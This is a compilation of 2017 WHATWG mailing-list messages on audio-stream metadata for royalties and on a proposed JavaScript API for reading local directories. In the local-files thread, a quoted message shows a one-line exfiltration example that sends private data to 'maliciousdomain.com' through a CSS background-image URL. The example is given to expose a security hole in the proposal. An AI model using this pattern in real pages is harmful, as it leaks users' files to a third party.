Re: [whatwg] metadata

[Delfi Ramirez]

Hi Roger, hi all: 

My fault WPI, was horrendous mistake due to the keyboard, and other
thingsin mind : WIPO, I meant. 

here below the info to avoid future re-works in the API and teh 
tag, if it helps. 

* WIPO stands for _World Intellectual Property Organization_, and the
IP acronym for them, mean _royalties. _Speaking in our technical terms,_
funding_.

* http://www.wipo.int/wipo_magazine/en/2015/02/article_0001.html 
* The international legal rule is featured in the Article 15  of the
treaty : 
[6]http://www.wipo.int/treaties/en/text.jsp?file_id=295578#P126_16257

Addenda: 

I did not want to be rude, neither to pray for extra efforts by the team
at WHATWG. just put in common knowledge , based on my past personal (
say vane ) professional experience. 

Jut three final observations to serve and to help 

* Length: Five seconds MAY be the minimum legal.

* (5") Five seconds of 'stolen' / Ring sounds that are digitised audio
files/Different mixes/edits seconds/et cetera of  is the minimum
for a wannabe-lawyer to go to court.. Please, keep this fact in mind.

*  Meta-Data: Following the indications of the WIPO ( focusing on a
World Wide Web service ) that now, services like Pandora are not allowed
to stream ( are de facto banned ) in earth places like Africa, Europe,
or The East. May it be due to not meet the legal requirements.  Because
of, sadly, streaming besides the neutrality of the technique is a unique
sales channel.
* IRSC: "_The MP3 format does allow rights management information like
ISRC to be included however it is rarely used. What is used is the ID3
system of tags, which is not part of the international standard, but
does enable ISRC to be encoded. It is therefore recommended that an ISRC
be encoded into the ID3 tag._" Uh. 
*   files may not just to streaming songs or bleeps, but to
scientific talks and college conferences. which may be radio live
transmitted.
* Thus, the (Title - Author) binomial proposed, in this clear need,
does not works.

just mumbling 

Cheers

---

Delfi Ramirez -- At Work

My digital signature [1]

0034 633 589231
 del...@segonquart.net [2] 

twitter: @delfinramirez [3]
 IRC: segonquart
 Skype: segonquart [4]

http://segonquart.net

http://delfiramirez.info
 [5]

On 2017-04-15 20:21, Roger Hågensen wrote:

> On 2017-04-15 14:00, Delfi Ramirez wrote: 
> 
>> Some information that may be of use, concerning to the WPI rules for
>> royalties et al in  files.
> 
> I have no idea what/who WPI is.
> 
> But StreamLicensing.com (which has a deal with ASCAP/BMI/SESAC/SoundExchange)
> Only require artist and title, and that artist and title is viewable by the 
> listener.
> One of the PROs (Performance Royalty Organization) did want album but waived 
> that requirement.
> 
>> Meta elements required
>> 
>> * Title : 100%
>> * Artist ( Interpreter): 12%
>> * Time: lenght of the  piece. Royalties are assigned by time
>> sequences.
>> * Year: (_Objective Reason: It use to happen that some__  files
>> have the same name, thus causing a mistake in the attribution to the
>> artist as it happen in the past_)
>> * Composer: 20%
>> * Arrangements: 20%
>> * Producer: 40%
> 
> Artist and title is always required. But I assume that by title you the field 
> itself as in it being "Some Artist - Some Song" where spacedashspace (" - ") 
> is a separator for artist and title.
> As to length, any listened time longer than 30 seconds is counted, and I 
> forge the max time.
> You also forgot about mentioning ISRC which is a globally unique identifier 
> for tracks, radio stations may use ISRC when sending in performance logs.
> 
> I'm not sure a end listener would need all this meta data though, such info 
> should be logged separately by the radio station or by the streaming server 
> itself.
> The listener would only be interested in (minimum) artist and title, album, 
> year and artwork being a bonus. And lyrics being a nice surprise.
> Although I'd argue that artist and title (+ album and year) could be used to 
> fetch artwork and lyrics using XHR upon user interaction instead.
> 
> I'm not going to comment further on the royalty stuff as this is weering 
> quite off-topic now.
> 
> -- 
> Roger Hågensen,
> Freelancer, Norway.
 

Links:
--
[1] http://delfiramirez.info/public/dr_public_key.asc
[2] mail:%20del...@segonquart.net
[3] https://twitter.com/delfinramirez
[4] skype:segonquart
[5] http://delfiramirez.info
[6] http://www.wipo.int/treaties/en/text.jsp?file_id=295578#P126_16257

Re: [whatwg] Accessing local files with JavaScript portably and securely

[Patrick Dark]

David Kendal 於 4/15/2017 12:54 PM 寫道:

On 15 Apr 2017, at 14:07, Roger Hågensen  wrote:


Patrick makes a good point.

For example asking a user if it' sok for the HTML document to access
stuff in "C:\Users\Username\AppData\Local\Temp\" what do you think most
uses will do?
Just click OK, after all "they" have nothing important in that folder,
their stuff is in "Documents" instead.

This is why I added the restriction that pages can only request access
to directories that are parents of the directory they're in. I admit I
don't actually know much about how Windows lays out files these days --
if the 'Downloads' folder is within some other folder that also contains
a load of private stuff. If so, or if that's so on some other popular
OS, maybe I'm wrong.


"Downloads" is a sibling directory of "Documents" and child directory of 
the user directory on Windows 10. Since this is a catch-all downloads 
folder, it may contain sensitive files, so I'd imagine allowing an HTML 
file to read everything in this directory would be viewed as an 
unacceptable security risk.



Browsers could also add restrictions that you can't request access to
the root directory or top-level subdirectory of an OS volume, or what-
ever else is needed for appropriate security on a particular OS.


I'd also imagine it unlikely that anyone would want to implement a 
directory-dependent (i.e., operating system-dependent) JavaScript API.


It seems that what you'd need is not a new JavaScript API, but a totally 
new application/manifest format like *.htmlapp that contains the HTML 
file. This would guarantee that the HTML file is scoped to a safe 
quasi-directory.


However, this presents a problem since you then need viewers/editors 
created for this niche format to be able to easily modify the offline 
application. Further, this format would be a competitor format to 
operating system-dependent application formats, so there'd be market 
incentive *against* a native implementation. Why would Microsoft, for 
example, want to add support for this offline application format when 
they'd like you to create a Windows Store app instead?

Re: [whatwg] metadata

[Anne van Kesteren]

On Fri, Apr 14, 2017 at 10:23 PM, Andy Valencia
 wrote:
> But the overarching issue is that you're doing JS-initiated
> network operations, and origin policy is going to stop you.
> You can claim Shoutcast/Icecast should give permissive
> origins, but they don't, and since an admin-ish interface is
> also multiplexed at the host, probably shouldn't.

If the same-origin policy stops you, it should also stop a C++
implementation. It's there for a reason.


-- 
https://annevankesteren.nl/

Re: [whatwg] metadata

[Roger Hågensen]

On 2017-04-15 14:00, Delfi Ramirez wrote:

Some information that may be of use, concerning to the WPI rules for
royalties et al in  files.


I have no idea what/who WPI is.

But StreamLicensing.com (which has a deal with 
ASCAP/BMI/SESAC/SoundExchange)
Only require artist and title, and that artist and title is viewable by 
the listener.
One of the PROs (Performance Royalty Organization) did want album but 
waived that requirement.



Meta elements required

* Title : 100%
* Artist ( Interpreter): 12%
* Time: lenght of the  piece. Royalties are assigned by time
sequences.
* Year: (_Objective Reason: It use to happen that some__  files
have the same name, thus causing a mistake in the attribution to the
artist as it happen in the past_)
* Composer: 20%
* Arrangements: 20%
* Producer: 40%


Artist and title is always required. But I assume that by title you the 
field itself as in it being "Some Artist - Some Song" where 
spacedashspace (" - ") is a separator for artist and title.
As to length, any listened time longer than 30 seconds is counted, and I 
forge the max time.
You also forgot about mentioning ISRC which is a globally unique 
identifier for tracks, radio stations may use ISRC when sending in 
performance logs.


I'm not sure a end listener would need all this meta data though, such 
info should be logged separately by the radio station or by the 
streaming server itself.
The listener would only be interested in (minimum) artist and title, 
album, year and artwork being a bonus. And lyrics being a nice surprise.
Although I'd argue that artist and title (+ album and year) could be 
used to fetch artwork and lyrics using XHR upon user interaction instead.


I'm not going to comment further on the royalty stuff as this is weering 
quite off-topic now.


--
Roger Hågensen,
Freelancer, Norway.

Re: [whatwg] Accessing local files with JavaScript portably and securely

[David Kendal]

On 15 Apr 2017, at 14:07, Roger Hågensen  wrote:

> Patrick makes a good point.
> 
> For example asking a user if it' sok for the HTML document to access 
> stuff in "C:\Users\Username\AppData\Local\Temp\" what do you think most 
> uses will do?
> Just click OK, after all "they" have nothing important in that folder, 
> their stuff is in "Documents" instead.

This is why I added the restriction that pages can only request access
to directories that are parents of the directory they're in. I admit I
don't actually know much about how Windows lays out files these days --
if the 'Downloads' folder is within some other folder that also contains
a load of private stuff. If so, or if that's so on some other popular
OS, maybe I'm wrong.

Browsers could also add restrictions that you can't request access to
the root directory or top-level subdirectory of an OS volume, or what-
ever else is needed for appropriate security on a particular OS.

Some participants on the Chrome bug thread suggested that Chrome could
look for some hidden file that would give files in the directory under
it XHR/Fetch access to that directory. That seems similar to what you
suggest, but I dislike the idea of a hidden file doing this unbeknownst
to users -- and even if it were visible, its function may not be obvious.

-- 
dpk (David P. Kendal) · Nassauische Str. 36, 10717 DE · http://dpk.io/
Gott schütze mich vor Staub und Schmutz,   +49 159 03847809
  vor Feuer, Krieg und Denkmalschutz.
  — seen on an old building in Bamberg, Bavaria

Re: [whatwg] Accessing local files with JavaScript portably and securely

[Philipp Serafin]

If I see this correctly, we're currently talking about two different
use-cases for file/directory access:

1) Giving HTML apps the ability to "open" and edit local user-provided
files and directories in a similar manner to desktop apps (the soundboard
example)

2) Loading (parts of) the app itself from a local filesystem, possibly
without any network access being available at all (the CD rom example).

Maybe the security would be easier to handle if dealt with both use-cases
separately. I think both use-cases have different requirements,
non-requirements and "prior art":

1) requires that file/directory paths be passed by the user dynamically,
but does not (to my knowledge) require that the app accesses any paths
*not* given by the user (if you treat a directory as "all paths within
it"). Maybe you could build upon the existing capability-based system used
for file input here: E.g. some extended file control that allows an app
enumerate/write access to the selected file or directory, but doesn't allow
it access to anything else.

2) sounds like an extension of offline apps to me. Maybe this could be
solved by defining some kind of package format for service workers and
cached resources, so service workers can be installed without any network
access.

Roger Hågensen  schrieb am Sa., 15. Apr. 2017,
14:08:

> On 2017-04-15 11:58, David Kendal wrote:
> > On 15 Apr 2017, at 01:09, Patrick Dark <
> whatwg.at.whatwg@patrick.dark.name> wrote:
> >
> >> So if you put this file in the Windows Downloads directory, then it
> >> has read access to all download files even though they aren't related?
> > Ah, well, that's why you have to ask the user. The prompt should make
> > clear that this is a possibility -- something like:
>
> Patrick makes a good point.
>
> For example asking a user if it' sok for the HTML document to access
> stuff in "C:\Users\Username\AppData\Local\Temp\" what do you think most
> uses will do?
> Just click OK, after all "they" have nothing important in that folder,
> their stuff is in "Documents" instead.
>
>
> Maybe a html document could have a offline mode parameter of some sort,
> if the document is in the temp folder then it is put in a virtual
> subfolder and can only access folders/files under that.
>
> If it is not in the temp folder (or other such similar folder)
> then a list of folders need to be provided.
>
> For example
> d:\Myhtmlapp\index.html (automatic as the document can access itself)
> d:\Myhtmlapp\js\ (the javascript linked in the document is stored here)
> d:\Myhtmlapp\css\ (the css linked in the document is stored here)
> d:\Myhtmlapp\sounds\ (sounds to be indexed/used by the document, i.e a
> soundboard)
>
> This way a htmlapp will work as a single file document on it's own (as
> it does today) or with specified subfolders. It would not have access to
> anything outside of the specified subfolders or files.
> Open file and Save File requesters on the other hand could be allowed
> outside those folders as those are directly controlled by the user.
> Indexing/parsing of files in non-app subfolders is another issue that
> will require a different take (listing filenames/sizes/dates).
>
>
> How to specify subfolders I'm not sure, document header? Or maybe
> leverage the current work on for Offline Webapps which uses a separate
> file?
>
> Browsers also need to be make sure that a file is not added to the temp
> folder that enables access to sub folders. (The root of the temp folder
> should always be treated as special regardless.)
>
>
> --
> Roger Hågensen,
> Freelancer, Norway.
>

Re: [whatwg] Accessing local files with JavaScript portably and securely

[Roger Hågensen]

On 2017-04-15 11:58, David Kendal wrote:

On 15 Apr 2017, at 01:09, Patrick Dark  
wrote:


So if you put this file in the Windows Downloads directory, then it
has read access to all download files even though they aren't related?

Ah, well, that's why you have to ask the user. The prompt should make
clear that this is a possibility -- something like:


Patrick makes a good point.

For example asking a user if it' sok for the HTML document to access 
stuff in "C:\Users\Username\AppData\Local\Temp\" what do you think most 
uses will do?
Just click OK, after all "they" have nothing important in that folder, 
their stuff is in "Documents" instead.



Maybe a html document could have a offline mode parameter of some sort,
if the document is in the temp folder then it is put in a virtual 
subfolder and can only access folders/files under that.


If it is not in the temp folder (or other such similar folder)
then a list of folders need to be provided.

For example
d:\Myhtmlapp\index.html (automatic as the document can access itself)
d:\Myhtmlapp\js\ (the javascript linked in the document is stored here)
d:\Myhtmlapp\css\ (the css linked in the document is stored here)
d:\Myhtmlapp\sounds\ (sounds to be indexed/used by the document, i.e a 
soundboard)


This way a htmlapp will work as a single file document on it's own (as 
it does today) or with specified subfolders. It would not have access to 
anything outside of the specified subfolders or files.
Open file and Save File requesters on the other hand could be allowed 
outside those folders as those are directly controlled by the user.
Indexing/parsing of files in non-app subfolders is another issue that 
will require a different take (listing filenames/sizes/dates).



How to specify subfolders I'm not sure, document header? Or maybe 
leverage the current work on for Offline Webapps which uses a separate file?


Browsers also need to be make sure that a file is not added to the temp 
folder that enables access to sub folders. (The root of the temp folder 
should always be treated as special regardless.)



--
Roger Hågensen,
Freelancer, Norway.

Re: [whatwg] metadata

[Delfi Ramirez]

Hi All: 

Some information that may be of use, concerning to the WPI rules for
royalties et al in  files. 

What we know as rights. Uh, 

Meta elements required 

* Title : 100%
* Artist ( Interpreter): 12%
* Time: lenght of the  piece. Royalties are assigned by time
sequences.
* Year: (_Objective Reason: It use to happen that some__  files
have the same name, thus causing a mistake in the attribution to the
artist as it happen in the past_)
* Composer: 20%
* Arrangements: 20%
* Producer: 40%
* Label: It depends on the contract, but as an agent collects all the
rights
* Software: Last but not least, some software use in the production of
audio has its own rights. Uh.

Hope this information it helps for the meta-tag issues 

_BTW . There is a new start-up  company named orfium.com, which CEOs now
all this issues, there is the cahnce ask them for more info._ 

Cheers

---

Delfi Ramirez -- At Work

My digital signature [1]

0034 633 589231
 del...@segonquart.net [2] 

twitter: @delfinramirez [3]
 IRC: segonquart
 Skype: segonquart [4]

http://segonquart.net

http://delfiramirez.info
 [5]

On 2017-04-15 13:46, Roger Hågensen wrote:

> On 2017-04-14 22:23, Andy Valencia wrote: 
> 
>> Ok.  Note that this data structure suffices to encode the baseline
>> information from Shoutcast/Icecast.  It does not, for instance,
>> encode "Label", needed to do licensing reporting in the USA.
>> "Year" is another datum often of interest.
> 
> Only "artist" and "title" are required for royalties reporting for internet 
> radio.
> But "album" and "year" provides additional information that helps.
> Commercial radio and TV uses at minimum the artist and title, and if lucky 
> the listener (digital radio) and viewer get to also see album and year.
> Also royalty reporting is done in a earlier stage, what a listener sees is 
> not what is logged/given for royalties reporting.
> 
> Ogg (Vorbis or Opus) should in theory be easily supported as metadata is 
> given in a sidestream right? So is therefore independent of the audio stream.
> 
> Mozilla has audio.mozGetMetadata()
> https://developer.mozilla.org/en/docs/Web/API/HTMLMediaElement
> 
> I have no idea if that fires once or each time more metadata is passed in the 
> stream.
> 
> https://developer.mozilla.org/en-US/docs/Web/Events/loadedmetadata
> Only says that it is fired when the metadata is loaded.
> I'm assuming it's only at stream start though.
> 
> So with a few "tweaks" Firefox could support Icecast Ogg metadata, if the 
> browser is compliant with the Ogg standard then support is very easy to add.
> 
> Shoutcast v1 would require parsing of the audio stream, Shoutcast v2 is a 
> little different and can pass info like album and year and artwork.
> The only Shoutcast v2 compatible player I'm aware of is the aging Winamp, the 
> majority of Shoutcast streams are v1 streams.
> 
> So while Firefox almost is able to provide stream meta updates, all the other 
> browsers do not though and would require polyfill which as you point out has 
> it's own issues with having to reset the stream as the buffer fills up.
> 
> Maybe support for enabling a large cyclic buffer could be used, triggered by 
> a "stream" parameter for html audio maybe.
> There would still be a issue with metadata possibly being partly in the 
> current buffer and partly in the next buffer so any javascript would need to 
> splice that together.
> 
> Ogg seems simple enough
> https://www.xiph.org/ogg/doc/oggstream.html
> And parsing of this metadata should be in the ogg source (libogg?) so any 
> browser that supports Ogg should be able to get that metadata.
> 
> -- 
> Roger Hågensen,
> Freelancer, Norway.
 

Links:
--
[1] http://delfiramirez.info/public/dr_public_key.asc
[2] mail:%20del...@segonquart.net
[3] https://twitter.com/delfinramirez
[4] skype:segonquart
[5] http://delfiramirez.info

Re: [whatwg] metadata

[Roger Hågensen]

On 2017-04-14 22:23, Andy Valencia wrote:

Ok.  Note that this data structure suffices to encode the baseline
information from Shoutcast/Icecast.  It does not, for instance,
encode "Label", needed to do licensing reporting in the USA.
"Year" is another datum often of interest.


Only "artist" and "title" are required for royalties reporting for 
internet radio.

But "album" and "year" provides additional information that helps.
Commercial radio and TV uses at minimum the artist and title, and if 
lucky the listener (digital radio) and viewer get to also see album and 
year.
Also royalty reporting is done in a earlier stage, what a listener sees 
is not what is logged/given for royalties reporting.



Ogg (Vorbis or Opus) should in theory be easily supported as metadata is 
given in a sidestream right? So is therefore independent of the audio 
stream.


Mozilla has audio.mozGetMetadata()
https://developer.mozilla.org/en/docs/Web/API/HTMLMediaElement

I have no idea if that fires once or each time more metadata is passed 
in the stream.


https://developer.mozilla.org/en-US/docs/Web/Events/loadedmetadata
Only says that it is fired when the metadata is loaded.
I'm assuming it's only at stream start though.

So with a few "tweaks" Firefox could support Icecast Ogg metadata, if 
the browser is compliant with the Ogg standard then support is very easy 
to add.


Shoutcast v1 would require parsing of the audio stream, Shoutcast v2 is 
a little different and can pass info like album and year and artwork.
The only Shoutcast v2 compatible player I'm aware of is the aging 
Winamp, the majority of Shoutcast streams are v1 streams.


So while Firefox almost is able to provide stream meta updates, all the 
other browsers do not though and would require polyfill which as you 
point out has it's own issues with having to reset the stream as the 
buffer fills up.


Maybe support for enabling a large cyclic buffer could be used, 
triggered by a "stream" parameter for html audio maybe.
There would still be a issue with metadata possibly being partly in the 
current buffer and partly in the next buffer so any javascript would 
need to splice that together.



Ogg seems simple enough
https://www.xiph.org/ogg/doc/oggstream.html
And parsing of this metadata should be in the ogg source (libogg?) so 
any browser that supports Ogg should be able to get that metadata.



--
Roger Hågensen,
Freelancer, Norway.

Re: [whatwg] Accessing local files with JavaScript portably and securely

[David Kendal]

On 15 Apr 2017, at 01:09, Patrick Dark  
wrote:

> So if you put this file in the Windows Downloads directory, then it
> has read access to all download files even though they aren't related?
> And it grants access to all of those files—some of which may also be
> HTML-based applications—again, even if they aren't related? If the
> user is instructed to place it in the root directory and then grants
> it permissions, it has access to read the entire operating system?
> 
> What if the file is used to dynamically write a CSS style declaration
> as in:
> 
> some_element.style.setProperty("background-image", 
> "url('http://maliciousdomain.com/?private-info=; + private_info + "')");
> 
> How do you address this security hole?

Ah, well, that's why you have to ask the user. The prompt should make
clear that this is a possibility -- something like:

"The webpage ‘[title]’ wants to access files in the folder ‘[name]’.
The webpage will be able to open and read from, but not modify, all
the files in this folder and may be able to send information from those
files to third parties. You should not do this if you do not trust the
source of this webpage. Do you want to allow this?"
[or whatever -- I'm not a UI text writer and something shorter would
probably be better, it's up to browser makers]

Alternatively, the Right Thing might be to say that once you've got
local file access you can't load images, scripts (etc.) over HTTP. That
might be oppressively restrictive for the use case where developers are
using file URLs for development though (they might still want assets
like JS libraries from a CDN).

Basically, I'm willing to trust users to know that files running from
their local computer might affect other things on their local computer
-- especially when warned about it explicitly. After all, as others have
pointed out, the same vulnerability is there when you take the option of
shipping an HTTP server with the HTML files. And, in fact, it's worse
because the HTTP server has no sandboxing to a particular area of the
filesystem and *doesn't* generally warn the user before it gains total
filesystem access.

-- 
dpk (David P. Kendal) · Nassauische Str. 36, 10717 DE · http://dpk.io/
   we do these things not because they are easy,  +49 159 03847809
  but because we thought they were going to be easy
  — ‘The Programmers’ Credo’, Maciej Cegłowski